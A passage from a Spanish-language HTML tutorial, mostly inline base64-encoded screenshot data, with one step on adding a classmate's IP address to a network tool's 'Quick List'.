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" /> </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: justify;">
5. Del conjunto de solapas superiores seleccione “Network”. Haga clic derecho sobre “Quick List” y seleccione “Add to Quick List”. En la ventana “Computername \ IP Address” ingrese la dirección IP de su compañero.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: center;">
<img alt="" height="355" src="data:image/png;base64,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